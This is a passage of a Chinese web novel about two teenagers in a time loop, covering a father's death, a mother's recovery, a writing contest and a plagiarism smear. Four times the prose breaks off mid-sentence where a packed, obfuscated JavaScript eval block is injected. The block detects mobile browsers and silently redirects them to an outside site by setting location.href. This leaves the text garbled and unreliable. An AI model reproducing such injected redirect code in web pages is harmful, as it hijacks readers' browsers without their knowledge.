直到后来林见寒才知道,卫海潮曾也有过一个恋爱了大学四年的女朋友,他也是迫于家里安排的压力与她分手的。而后来令林见寒更没有想到的是,世界上竟然会有人的命运如此的相似。卫海潮的那位初恋女友家里从商,也安排了她的联姻。 - 不知道该如何形容此刻的心情,林予诗只能在脑海里一遍又一遍地梳理着他们各自与各自之间的关系。将信收好放进信封,低下头,她看着地上方才落下的泪滴。 “你是裴江川先生的女儿对吗?”视线里出现了白大褂,传来了医生的声音。 林予诗抬头看向医生,随后起身,说:“是的,他是我父亲。” “鉴于你母亲目前的情况,我先问你一下,目前你还有亲人在长宜吗?” 林予诗摇头:“没有。” 医生像是在核对信息一样:“刚才在你身边的,是你的什么人?” 林予诗回答:“她是我母亲的同事。” “我需要告知你一件事情,在此之前,先请你做好心理准备。” 心中忽然出现了一种不太好的预感,林予诗似乎已经知道医生会要告诉她什么事情。 而后的下一秒,她听见医生说出了她心中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840634|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预感。 “裴江川先生因抢救无效,于今天傍晚逝世。”医生说,“家属要去看看吗?” 只感觉全身瘫软,在即将倒下的那瞬间,梁语蔚及时赶到,扶住了林予诗。 “予诗,你还好吧。”梁语蔚语气里全是担心。 林予诗没说话,只是点头。 看着眼下的情况,梁语蔚猜到了林予诗已经知道了那件事,她没说话,只是在默默地陪着她。 “小梁姐。”林予诗颤抖着说,“你能陪我去吗?” 她从前总叫他裴叔叔,未曾开口叫过他一句父亲;她从来都没有想到过,自己有一天会在与他说告别的时刻里知道他的身份…… - 回到家的时候,天刚刚亮,天空中还残存着些许夜的深蓝。 林予诗打算洗个澡再去医院继续等,等林见寒醒过来。在这个世界上,真正意义上的亲人里,她只剩下林见寒了。 她坐在床边望着窗外的蓝色,拨打着裴叙的电话,却无论如何都没有打通。后来,她也不再继续拨打他的电话了。 她忽然想到,她似乎不知道该怎样去告诉他裴江川的事情。 而后的几天,林见寒依旧昏迷。医院门口蹲守的记者媒体数量依旧不减,每次进出医院,林予诗都要绕到医院的小后门。 后来,在梁语蔚的帮助下,林予诗处理完了裴江川的后事。 她曾在裴江川离开的第二天给裴叙发消息交代这件事,直到将近半个月后的现在,她一直没有收到裴叙的回音。 医院的走廊上很安静,连夏天里聒噪的蝉声都听不见。 回头看向房间内的林见寒,她依旧“睡着”,没有一点动静。 林予诗只觉得心力交瘁,她已经累到忘记了想睡觉的程度了。隐隐约约地感觉到头疼,林予诗扶着头,试图去找到是哪疼。她这时候才发现,自己已经好几天没有吃药了。 这几天忙上忙下,没有睡好,还要处理一些她从未遇见过的事情,所以自然而然地就把要吃药的这件事给忘记了。而后伸手摸向自己的口袋,她忽然慌张——没有带药。 于是只好麻烦值班护士照看一下林见寒,林予诗匆匆下楼,准备回家拿药。 只是不巧的是,从回家的有轨电车上下来的时候,夜空中忽然落下了大雨。 她没有带伞,所以只好带着越来越强烈的头疼,孤身一人地在这场雨中走。她在祈求着不要在她到家前发病,不要在她到家前出现失忆。 头疼变得愈发的强烈,连她的步子也变得慢了起来。她听见街边的小酒馆正在放着《time machine》,她松了一口气,至少现在还没有出现失忆。在心中默念着裴叙的名字,她试图用这种方法让自己保持清醒,不让自己的意志力被头疼给打败。 慢慢停在了一个昏黄的路灯下,林予诗扶着灯柱喘气,全然不顾那时正在落下的大雨。默念他的名字,耳机早已在她还在有轨电车上的时候就戴上了,随身听里一直在放着那些和他有关的录音。 林予诗准备抬头继续往前走的时候,只见一把透明雨伞毫无预兆地落在了视线里。 而后的下一秒,她听见耳机里的声音和身边出现的声音发生了重叠:“林予诗。” 26.Chapter 26 “抱歉,我回来晚了。” 积攒了多日的话语,最终凝聚成了一句刻在心底的歉意。由于前些日子在旧金山忙上忙下,无暇顾及是否有好好休息,裴叙在林予诗离开旧金山的那天就昏倒了过去,整整睡了有一阵子才醒过来。 此时此刻,距离他从病床上醒来还不到48小时。在看见新闻的那一刻,他就处理好了手中的事情,确认了好了卫海潮的情况后,匆匆飞回了长宜。 当然,这所有的一切他都不会和林予诗提起,他永远都不会说出来。 于他而言,这不算什么大事。 林予诗也没有过问裴叙为什么而回来晚了,她理解裴叙的心情。于是她主动地向他伸开了双臂,示意着不妨现在拥抱一下。 他心领神会,于下一秒钟里做出了回应。 只是在被他揽入怀中的那一秒里,头疼忽然变得厉害了起来,林予诗预感到,自己似乎是要发病了。 忍不住不让泪水从脸颊上落下,在症状出现的前一秒,林予诗用尽全身力气,紧紧地抱住了裴叙。 她说:“裴叙,我生病了。” 后来没过多久,裴叙收到了卫海潮病情加重的通知,带着帮林予诗询问有关她的病的治疗方案的使命,他再次动身前往旧金山照顾卫海潮,直到高三那年的春天,也就是本次时间线重置的开端这天才回来…… - 有轨电车停靠在了终点站,长叙江站。有轨电车外,雪还在不停地落着,全然没有要停下来的意思。 体温的触碰,紧紧地拥抱,像是会在以为会永不回头的时间线里穿梭。 不顾落在肩膀的雪花,滚烫的泪滴悄然落下,融化了地上刚落稳的雪。 他们都清楚着,这是不愿意放手的相拥。 闭上眼,从前的一切都会出现在她的脑海中。林予诗心里清楚的知道,自己在随声听声音的消散中,回到了高三那年的春天。 她很庆幸,自己再一次见到了他;自己再一次拥抱了他,听见了他心跳的声音。这不是梦境,她反反复复掐自己的手臂,一次又一次地确认疼痛,得到了安心的答案。 且先不去想上一次回到过去是因为什么,这次,林予诗在心里大概清楚,自己回到过去的钥匙,很有可能就是那台录着他们俩对话的随身听。 细细地在脑海中思索,此刻还是高考前。也就是说,这次只要自己和他不在高考后乘坐上那辆有轨电车,也就不会出事。 他们也就能够活下去。 或许这样,打破了原先时间线的必然,他们也就有可能在这条时间线中,永久的生活下去。 不然,时间线发生重置就是没有理由的。林予诗想,让她能够回到过去,或许就是想让她去阻止这场灾难事故的重演。 相较于回到和他遇见的春天的那次,这一次回来,林予诗倒是感觉到了些许不一样的事情。身体没有了那种隐隐约约的不舒服的感觉,整个人特别的很轻松,像是从来没有得过绝症一样。 “我们坐过站了。”林予诗靠近着他轻声说。 “嗯。”裴叙说,“没关系的。” 第21次回到过去的裴叙难以控制住自己的情绪,所以语气中夹杂着好些颤抖,他紧闭双眼,不敢看向她。 哪怕只有一秒。 因为他知道,只要他一看见她,此刻正徘徊在眼眶中的泪水就会忍不住的落下。 “至少我们之间没有错过。”林予诗说,“不是吗?” “嗯。” “你说,春天为什么会下雪呀。”昏迷了很多天,算上去,已经很久没有和他说过话了。所以这次回到过去,林予诗想多听听他的声音。 “因为——”话语忽然被拉长,裴叙就这样顺势看向了林予诗。看见她眨了眨眼,视线中满是好奇,他笑了笑,“听说你在春天。” 林予诗不明所以,这奇怪的答案来的有点突然。 双手随意的放在身后,她歪头看向他,不说话。 而后她听见他带着笑意语气的下一句话:“难道没有人说过你像只兔子吗?” 林予诗摇头,她在脑海中细细回忆,时间线重置以前的此刻,他是没有说过这句话的。那时候的他们在车站相遇了之后,就坐着车回家了。 对了,说到那天,林予诗忽然想起来,那天的这个时候并没有下雪。 她在心中悄悄组织着猜测:正在往后推移的时间线上所发生的故事,已经产生了变化。 林予诗说:“我第一次听人这么说,所以你是第一个。” “哦?是吗?” 话音落下,只见视线中出现了一副耳机。不清楚裴叙是在什么时候把耳机给拿出来的,林予诗下意识地接过了他手心中躺着的耳机,把它戴在了自己的耳朵上。 “我们听会歌吧。”裴叙提议,“听一会歌,我们就回家。” 林予诗点头。 耳机里响起了前奏,是那首《爱是在雪地写诗》。 手心落下了雪,不顾雪的冰冷感,裴叙将手随意放下,看向林予诗,说:“其实我知道为什么春天会下雪。” “你刚刚不是已经说了答案了嘛。”林予诗说,“虽然我不太明白。” 裴叙笑:“因为你。” 林予诗继续不明所以:“因为我?” 裴叙点头:“看来你已经忘啦。” 林予诗凑近了一点:“忘了什么?” “你忘啦?我们之前说要一起在长宜看一场雪来着。” 可能是因为刚回来,对记忆的检索还不是那么的迅速。不过经过裴叙的提醒,这会子林予诗是真的回忆起来了,于是她说:“差点忘记了。所以你的意思是,这是上天的安排?” 那是在一个学校忽然停电的夜晚,那时候冬天还很遥远,夏天刚刚结束。凑巧在走廊遇见,两人因为看不清前面的路而一不小心撞了个满怀。 那晚,他们在消散的夏风中说要一起看一场雪。 “心软的上天见我们没有一起看过一场雪。”裴叙说,“你不会骗我吧。你真的还记得?!” 林予诗笃定般的点头:“约定落下的那天晚上学校停电了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840635|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴叙继续笑着说:“我相信你是记得的。” 林予诗也笑了:“不管是对谁随口说出的承诺,你都会记得的,对吗?” 裴叙说:“当然不是。我只会对你说出这些承诺。” 心脏忽然感觉到像是漏跳了一拍,林予诗忍不住捂住了自己心口。 她也是在那个手靠近心脏的片刻里,感受到了一阵猛烈的心跳。 为了掩藏思绪,她只好说:“时候不早了,我们回家吧。” 她说完便把红着的脸藏进了围巾,然后转身离开,不敢回头看向他。 只是还没等她走出两三步,身后就传来了他的声音:“林予诗,我们以后还能一起看雪,对吗?” 她依旧不敢回头:“当然!” 听见她的回答,他笑着追了上来,走在了她的身边。 林予诗在心中默默细数他在旧金山的这小半年的时光,她记得每一通电话,每一次视频的点点滴滴。稳定的吃药和复查,这小半年居然没有再次发病失忆。 这些,都来源于时间线重置前的所有记忆。 回到家后,林予诗翻了翻自己的抽屉,她怎么找,都没有找到自己的病例。去翻自己的手机备忘录,她依旧没有发现和自己生病的任何内容。 她花了一晚上得出来了一个还未被证实的答案:这次回到过去,她也许从未失忆过。 换言之,她现在的人生,是从未得过绝症的人生。 后来,她抽时间独自一人去医院找过自己的医生,结果那位医生压根不认识她,说自己从来都没有在自己的科室里见过她。 所以那时候林予诗就确定了,自己没有想错答案,现在时间线上的事实或许就是如此的。 - 很快就到了开学那天。整个高三第一学期,裴叙都在旧金山照顾卫海潮,帮忙处理一些事情,所以今天上学的这一路上,林予诗都在给裴叙说着这小半年来发生的事情。 裴叙都记得发生了些什么,他愿意侧耳倾听她的声音。 和时间线重置前一样,他们新分了班,成为了同班同学,且这个学期还将成为同桌。 虽然有些事情变了,但有些事情也是没变的。进教室后,裴叙和林予诗默契地下意识看向了黑板上的座位表。他们在同一时间里心照不宣的确认,成为同桌这件事是没有改变的。 神情不由地陷入进恍惚,脚步也随之而变得迟疑,他迟迟没有挪开自己看着她名字的视线。此刻的教室里只有他们,很安静。所以猛烈跳动着的心跳,也变得能够轻易察觉起来。 “喂!找到自己坐哪了嘛?”已经走到教室后排的林予诗对黑板前的裴叙说。 “找到了。”裴叙看着她的名字微笑,“就在你旁边。” “这个地方靠近窗边,一低头就能看见樱花树。”林予诗看着窗外说,“春天来了,樱花就要盛开了。” 他单肩背着书包,笑着缓缓走向她。她不知道,那时他正在心里呼唤着她的名字—— 林予诗,你是我复杂生命中遇见的春天。 27.Chapter 27 虽然裴叙到现在还是没有想明白,自己第21次回到过去为何会是在高三这年的春天,而不是像之前那样重蹈覆辙地回到高二他们相遇的那个时候。 算了。说不定哪天就能找到答案了呢?此刻不必过多的纠结这些,过好当下才是最重要的。 将书包放好,接着坐在座位上,裴叙看向林予诗,说:“你还记不记得去年春天。” 林予诗很自然地接话:“你是说,我们遇见的那个时候?” “你知道我想说什么。”裴叙说,“那天,我们在楼梯间里意外撞见。当时,正好有一阵风经过,吹落了挺多樱花花瓣的。” “我记得。”林予诗说,“那时候空气就像是在突然之间安静了几秒一样。” 没等裴叙说话,林予诗就接着说:“所以,这是我今天看见楼下的樱花树会有点高兴的原因。” 书包里的手机发出了“叮——”的一声,提醒着裴叙有新消息来了。裴叙边拿着手机边对林予诗说了句“我看个信息”,见状,林予诗说了句好,便去整理自己的作业试卷去了。 “我去办公室一趟。”裴叙说话的时候,教室里面已经到了一部分的同学了,因此他说话的声音很低,林予诗没听清他在说什么。 看见林予诗的反应,裴叙笑着凑近了一些,重复了一遍刚才说的话。 这一次,林予诗倒是听清楚了,只不过她还存留了些许疑惑:“你去办公室,和我说干嘛?” 裴叙解释:“报备。” - 临近上课,班里的同学已经到的差不多了。这学期的作为安排的倒是巧,江潮声和姜时月这对同桌,就在她和裴叙座位的前面那一排,也就是靠窗那一大组的倒数第二排。 林予诗是语文课代表。收齐了作业,林予诗将它们整理好了之后,就起身去了办公室。 只是还没等她敲门走进办公室,她就听见办公室半掩着的门里传来了班主任王远遥老师十分严肃的声音:“裴叙,我不是在和你开玩笑,你现在和我说你要改选物化生,你这不是胡闹吗?我是真的没有想到,你去年高考报名的时候居然填报的是物化生组合而不是物化政组合,你呀,刚回来就给我一个大惊喜。” 躲在门口偷听的林予诗听到这,不禁往后撤了一步——这是原本时间线上发生过的事情。 上一次,裴叙也是这样,在高考报名的时候修改了自己的选科组合,然后回来告诉了王远遥这件事。 只不过那次,她不是在这里知晓的这件事,而是在家里意外看见了他的生物高考复习资料。 有的事情变了,有的事情没变。 林予诗一直在心中默默地想着这句话。 时间线重置之前她就没有明白,能够在物化政组合里排第一的裴叙,为何要选择更换科组合。所以这一次,她打算去弄明白这个问题。 正想着,办公室的门开了。就在抬头的那一瞬间,她刚好撞见了从办公室里出来的裴叙。 “我来送作业的。” 好在手拿的比较稳,作业试卷没有因为这个意外的碰撞而撒落满地。 “需要我帮你吗?” “没事。”林予诗抬头看向裴叙,“你快回教室吧,江潮声和姜时月坐我们前排,他们俩正等着你。” “好吧,你快去送作业吧。” 话音落下,林予诗回了一句“嗯”便走进了办公室。 然而裴叙并没有离开。 好巧不巧的是,他躲在了方才林予诗站着的地方。 他打算等她出来,一起回教室。 “王老师,作业。”林予诗将作业摆在了桌上,听见王远遥说了句谢谢。 正当她准备离开时,王远遥却叫住了她:“予诗,老师找你说点事。” 于是停下脚步,看向王远遥。只见她从抽屉里拿出了一张纸,而后递了过来。 “时间上比较紧,不知道你有没有兴趣参加一下这个作文比赛。过两天学校会发正式通知,老师想找你提前聊聊。”王远遥解释着这张纸上的内容以及这张纸的来历,“PKU大学中文系联合执礼大学一起,举办了一场具有保送性质的作文竞赛,今年是第一届,也算是试验届,所以时间安排在了现在,下一届就会在九月份举行了。老师想问问你,有没有想法去试一试?时间很紧,要从高三一轮复习的时间里抽出空余时间去准备。予诗,你好好考虑考虑,去争取争取这个保送机会,也是不错的。” 听着王远遥的话,林予诗将那张纸大差不差地看完了一遍。 “谢谢老师。”林予诗说,“我先了解一下这个比赛。” 办公室外传来了上课铃。 王远遥说:“时候不早了,快回教室吧。” 再次谢过王老师,林予诗转身离开。 轻轻推开办公室的门,正准备往前面走,一道身影却忽然落了下来,覆盖在了她的余光里。 转头看向那人,正好看见了他的校牌,林予诗停下脚步,转身对他说:“你在等我?” 裴叙笑了笑:“不然呢,我在等空气?” 他很珍惜和她待在一起的每一个时刻,他不想错过一分一秒。 “好吧。”林予诗笑了笑,“回教室……” 话还没说完,放在口袋里的手机就传来了来电振动的提醒。于是只好收回脚步,站在走廊上,拿出了待接听的手机。 是梁语蔚打来的。 电话里,梁语蔚说:“予诗,你和老师请个假,来趟医院。” 听见梁语蔚的焦急语气,一种不好的预感顿时浮现在了脑海中,林予诗颤抖着回了一句好,挂断了她的电话。 “裴叙,我要去趟医院,我妈妈她……” 裴叙下意识地扶住了林予诗,他用着稳定的语气说:“你下去,我去找王老师开电子假条。现在是早高峰,地铁和路上的人都很多,出校门之后扫个自行车。我很快就会追上你的步伐过来的。” “好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840636|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是强忍着泪水,急匆匆地跑下楼,在到达校门口的那一刻,楼上的裴叙刚好请好假,林予诗顺利地刷卡跑出了学校。 就近扫了一辆自行车,林予诗忍住心里的慌乱往前骑。 时间线重置以前,她是在开学的一周后接到梁语蔚打来的这通电话的。今天会接到这通电话,是在她的意料之外。慌张与不安的感觉重蹈覆辙席卷了她的身体,她知道,自己还将要再一次经历一次失去。 林予诗不停地加速着骑车的速度,她不想在这次再留下遗憾。 - 消毒水的味道直冲鼻尖,靠近林见寒的病房,只听见一声“滴——”的仪器警报声。时间线重置之前的那次,林予诗因为遇上了堵车,没有赶得及,错过了林见寒的最后一刻。 这次,她没有坐上出租车,她拼了命地往医院的方向骑车,却好像依旧没有赶上,似乎依旧错过了林见寒在这个世界上说的最后一句话。 泪水再也忍不住,划过充斥着消毒水味道的空气,大滴大滴的往下坠落,重重地砸在医院的地板上。 终此一生,不清楚会遇见多少次告别。有的告别,就像是命中的注定,不论经历着多少次轮回,好像都不会改变。除非,有奇迹的出现。 站在病房门口注视着床前医生们忙碌的声音,林予诗就这样忽然失去重心,站不住自己的脚步。 就在她即将倒下的那个瞬间,裴叙的身影出现在了她的背后。他下意识地伸出手,顺势稳稳地扶住了她。 他轻轻地呼唤着她的名字,试图让她此刻的恍惚感能够消散些许。 “滴,滴,滴……” 房间内忽然传来了心跳监测仪的另外一种频率,忙忙碌碌的声音渐渐安静了下来。在那种错乱的恍惚感正在慢慢消散的瞬间,林予诗隐隐约约地听见病房里的医生说了一句“回来了”。 于是忍不住趴在病房门口,隔着玻璃门看着病房里的一切。只见监测仪上的轨迹不再平直,而是变成了有规律的波浪。 心中的石头缓缓落下,林予诗只感觉此刻全身不再是轻飘在充满着消毒水的空气中的。幸好这次,她没有失去母亲。她追上了时间,改变了命运的轨迹。 从受伤到恢复,林见寒其实不需要住这么久。之所以现在还在医院,是因为在她受伤入院的不久之后查出了肿瘤。 医生正说着交代:“我们会尽快再次安排手术,目前来说,成功的几率还是蛮大的,家属请放心。” 说实话,林予诗不敢完全放心,因为下周还有一个时间点,也就是时间线重置之前,林见寒离开的那天。如果说下周的那天能够平稳的度过,也就说明,现在时间线上的一切是真的产生了改变的。 坐在窗边的椅子上,林予诗望着窗外。春天的长宜会有一阵短暂的雨季,此刻正落着大雨。雨声的淅淅沥沥中,他们谁都没有说话。 只是下一秒,他们的视线在充满淅沥声的走廊里悄然碰上,如此的毫无预兆。 28.Chapter 28 深夜的风吹呀吹,吹过了刚刚盛开的樱花。被吹下的那些樱花花瓣,随着风的轨迹,停留在了校服上,或者缓缓落在了正在樱花树下的人的手心。 照在身上的路灯依旧昏黄,一抬头,就能看见淡淡的粉色和浅浅的黄色交错在视线中。 “如果说,最后的最后都是告别和离去,那存在的意义,又会是什么?”林予诗说,“我想了很久很久,都没有想到这个问题的答案。” “这个问题,曾经困扰过我一段时间。 “后来啊,我也就不想去想这个问题了。它渐渐地被我遗忘在了过去的时间中。” “直到现在,直到我偶然得到了一次回到过去的机会,才被我重新想起。我不知道此刻的我所说的话有没有逻辑,人们或许也不会相信,我能从未来回到过去。一开始我也不相信,上次的我,还以为回到过去只是一场梦,或者说从前的经历是梦,那时才是现实。”林予诗停顿了几秒,“我也说不清楚梦和现实,现在的每一天,对于曾经整日卧在病床上的我而言,倒像是个梦境一般的存在。” “其实从我出现在电车站台上的那一刻开始,我就已经清楚,这次为什么会回到过去,我知道,答案……” 睡不着的林予诗悄悄地从家里跑了出来,来到了离家不远的那棵樱花树旁。她总感觉自己想说点什么,于是她出门的时候带上了随身听。 关掉录音,林予诗将随身听收进了口袋里,她坐在树下的长椅上,静静地看着散步路过的人们。 也许是身体感觉到空坐在这里有点无聊,肚子在这个时候提出了建议。 林予诗是一个从来不亏欠自己肚子的人,时间线重置之前,整日躺在病床上,错过了很多曾经想吃的东西。 所以这一次,她要一一把他们全部一点一点地给吃回来。 准备起身去趟便利店,她突然间有点想念便利店的那一口速食餐。只是还没等她往前走两步,她就看见裴叙的身影出现在了不远处的路灯下。 他是跑着过来的。 看见林予诗之后,裴叙不但没有慢下脚步,反倒是跑得更快了。 “吓死我了!”裴叙一把抱住了林予诗,“我看家里没人。” 林予诗那时不清楚裴叙为什么会有这样的反应,她只是感觉到这个拥抱来的很突然。不过她倒也想念着他的拥抱,所以,她的手下意识地抱住了他。 “我有点睡不着,所以出来走走。”林予诗说,“抱歉啊,忘记给你发信息了。” 他没有松开她,依旧在拥抱。他害怕失去她,害怕自己醒来又回到了那个只有他一个人的空旷房间,害怕时间线重置的结束,害怕她消失不见。 “你怎么找来这里的?”过了好一会,林予诗才开口轻声问。 裴叙松开了林予诗,在路灯的光线里看向了她的双眼,说:“心灵感应,知不知道?” “我们为什么会有心灵感应?”林予诗说,“是因为我们曾是兄妹吗?” “可以……这么说吧。”裴叙有点不好意思。 裴叙在心里踌躇了一会:“林予诗,你以后能不能不要丢下我。” “嗯?”林予诗没明白裴叙为什么会突然说出这么一句话,“丢下你?” “不管什么时候,你都不要丢下我,让我一个人。”裴叙的语气像是在撒娇,“你答应我。” “好——”林予诗像是在哄小狗一样,她顺了顺裴叙的头发,“以后再遇见这种情况,我会给你发消息的。” “我说的不是这个意思。”裴叙说,“我的意思是……” 忽然陷入进了混乱,一瞬间里裴叙不知道自己在说些什么,他没辙了:“反正,你不能丢下我就对了。” “如果往后能够如此的话,我一定不会丢下你的。” “还有。”裴叙忽然换了一种语气,“不是说睡不着可以打电话给我嘛,你是不是忘了。” “没忘。”林予诗说,“我只是,怕打扰到你睡觉而已。” “完了。”裴叙脸上一副无可救药的表情,“生疏了,生分了。唉,终究是在旧金山待久了,你我之间已经产生了如同大洋彼岸一般的距离了。” 听见裴叙的这番话,林予诗的心里已经飘过了一群省略号了:“你有毛病啊姓裴的。” “好啦好啦。”裴叙语气再次变软了些许,“不逗你啦。我们去便利店吧,我肚子有点饿了。” 莫名其妙地产生了思绪碰撞,两人并排往便利店的方向走。 忽然蹦出来了一个点子,林予诗打算捉弄一下裴叙,她绕到他面前,看着他,倒着走路,说:“所以你是出来找便利店的?” “不是。”裴叙说,“我是出来找你的,找你找饿了。” “哦?”林予诗说。 “诶小心!” 裴叙眼疾手快,在林予诗即将撞向身后路灯的那一瞬间将她揽入了怀中。 还没完全反应过来什么情况,林予诗就意识到,此时自己与他的距离,已经到了近到可以听见他心跳声的地步了。 “看路。”裴叙假装用一副吐槽的语气说,“真不知道你这脑子,明天要怎么参加作文竞赛。” 林予诗:“……” 差点就以为是自己命中注定的crush降临了。 - 就像是还在梦中一样,两个半小时的时间一晃而过,作文竞赛就这样结束了。人群熙熙攘攘,林予诗还是一眼就看见了校门外站在树下等她的裴叙。 “走吧!回家!”林予诗一把勾住了裴叙的脖子,像是青梅竹马遇见时的那般打闹。 “我要回家睡觉。晚上新书预售还要配合宣发。”林予诗边说边打了个哈欠。 裴叙点头说好。 于是时间就这样在时间习题里一晃而过,很快就到了作文比赛公布成绩的那天。 只是不凑巧的是那天是个雨天,满树的樱花花瓣被风吹落,飘散了一地。春天的雷鸣划破了寂静,教室的不远处传来了“滴——”的一声。 停电了。 灯暗下来的那一刻,教室里发出一声顺其自然出现的惊呼。 笔忽然顿了一下。顿笔处的墨水随之而然的在纸张上洇散开来,林予诗放下了笔。而后转头看向同桌裴叙同学,他没什么特别的反应,仍在低头写着题。 后来,或许是感受到了目光的温度,裴叙在两秒后也停下了手中的笔,看向了林予诗。 “怎么了?”裴叙说,“我脸上有什么东西吗?” 林予诗摇头:“没有。” 教室闹哄哄的,大家在趁机聊着天。 上学的时候,还有什么比自习课的时候遇见突然停电更有趣的事情呢? “哇去!快看热搜,那个写小说的作者予时被爆抄袭!” “是不是那个写校园文的。” “就是她。” “有调色盘了吗?” “好像还没,不过我看评论区的人说调色盘在做了。” “天,突然爆火的作者啊。” “说不定,爆火是因为抄袭呢。” 这会子这件事已经在班内小范围的传开了,引起了窸窸窣窣的小声讨论。尽管是坐在最后一排,林予诗和裴叙还是听见了这些谈论的声音。 裴叙知道林予诗的笔名就叫做予时。裴叙匆匆看完社交平台上的热搜,心疼地看向了林予诗。 林予诗微微低头,对裴叙说:“我知道是谁做的。” 裴叙朝她伸出手:“跟我来,我带你去个地方。” 掩护裴叙和林予诗出教室了之后,江潮声和姜时月立即在班上开始了控评,让大家少说几句。 雨停了,风还在轻轻吹着,路过樱花树下,几片樱花花瓣缓缓坠落,停在了肩上。 翻墙跑出学校,这还是第一次。 直到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840637|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,林予诗的心跳还是加速着的。 “紧张啊?”裴叙看出了林予诗的心思。 “还好。”林予诗拿出一副姐姐的样子,故作一副不在意翻墙的这件事的语气。 樱花树下的长椅上落了些许樱花,将它们轻轻往旁边散开,两人缓缓坐下。 “应该和他脱不了干系。”林予诗拿出了手机,点开了微博,将一个人的主页界面摆在了裴叙的眼前。 “这是我写作没多久之后认识的一位作者朋友。一开始,我以为他是读者,后来我才知道,原来他也是一名作者。”林予诗说,“后来慢慢地,我知道了他也是一名高中生。所以我们经常在晚上的放学后一起交流写作。只不过,有一天开始,我发现他不上线了,给他发信息他也不回。我也便就此不再理他,渐渐的也就淡忘了有这么一个网上认识的作者朋友。” 林予诗停顿了一会,继续说:“再到后来,也就是我报名参加作文比赛的那天,我又收到了他的私信。他说,他知道了我的秘密,他问我,是不是抄袭了他的思路,他说,我和他以后都不要有联系了。 “我试着给他发信息,发邮件,最后我收到的,都是红色感叹号和拒收。 “我不清楚他所说的抄袭思路指的是什么,为此,我还去翻看了他以前的作品,我都没有找到有相似思路的作品。 “大约一周之后,我收到了他的来信,邮件中,他只对我说了一句对不起。接着,我试着打算再去微博上再次和他取得联系,却没想到,看见了他的封笔说明,他说以后将不再继续写下去了。 “直到今天之前,一切风平浪静,我原以为这件我和他之间忽然发生的这件莫名奇妙的事情就会这么过去,没想到忽然出现了这个事情。我今天本来想问问他这件事的,依旧联系不上。” 四月底即将到来,离今年的高考也越来越近了。距离新书预售开始已经过去了一段日子,最近各大书店也开始陆陆续续的发货了。无论怎么看,这好像都是一个可以称之为“很碰巧”的时间点。 “你刚刚说,这个人也是高中生?”裴叙说。 “嗯。” “手机借我一下。” 林予诗将手机给裴叙递了过去,只见裴叙再一次点开了那人的主页,说:“高中生,且IP地址还在长宜。” 裴叙停顿了一下,笃定地说:“给我一点时间。” 林予诗还想再说些什么,只见裴叙一把抱住了她:“相信我,你不用担心。” 这是林予诗十七年来第一次有种有人在身后的感觉。 “裴叙,相信我,我没抄袭。我不会,也无法做到,去剽窃他人的构思创意。” “我知道。”裴叙温柔安慰,“我相信你的,这是我的选择,唯一的选择。” 林予诗说:“所有的大纲、思路简介、人设、章纲我都做了邮箱存证,标明了日期。” 裴叙说:“嗯。对方现在还没有给出具体的对比图,属于是没有带证据的空口鉴别抄袭。那位作者朋友这条线我们先查着,看看能不能找到突破口。” 林予诗刻意绕开提起母亲,“我去找梁语蔚姐姐咨询一下。” 只是刚打开手机,林予诗就一不小心误触进了微博的评论区。 而后,她看见了一条新出现的评论: “予时,原名林予诗,现就读于长宜市执礼附中。” 下面接着“抄袭狗祝你高考顺利”“高中生就开始抄袭了呀”“喂,劝删,开盒别人”等回复。 天空落下了一滴雨,滴在了手机屏幕上。林予诗的手机被裴叙拿走放进了校服口袋,林予诗只感觉自己整个人在一瞬间里僵住了,她下意识地无法动弹,也不知道此刻该如何是好。 大雨开始疯狂落下,林予诗忽然晕了过去,就像是睡着了一样。 裴叙抱着她离开了樱花树下,只是无论他呼唤多少次她的名字,她都没有回应…… 29.Final Chapter “轰隆隆——” 一声雷划破了夜的宁静,暴雨正肆无忌惮地拍打着窗户,房间里回响着淅淅沥沥的声音。 猛然惊醒,林予诗正喘着气,试图尽快恢复方才不停加速的心跳。 慌张感仍然在她的全身上下蔓延,她不清楚,自己刚刚为何会梦见时间线重置之前作文竞赛出成绩的那天。 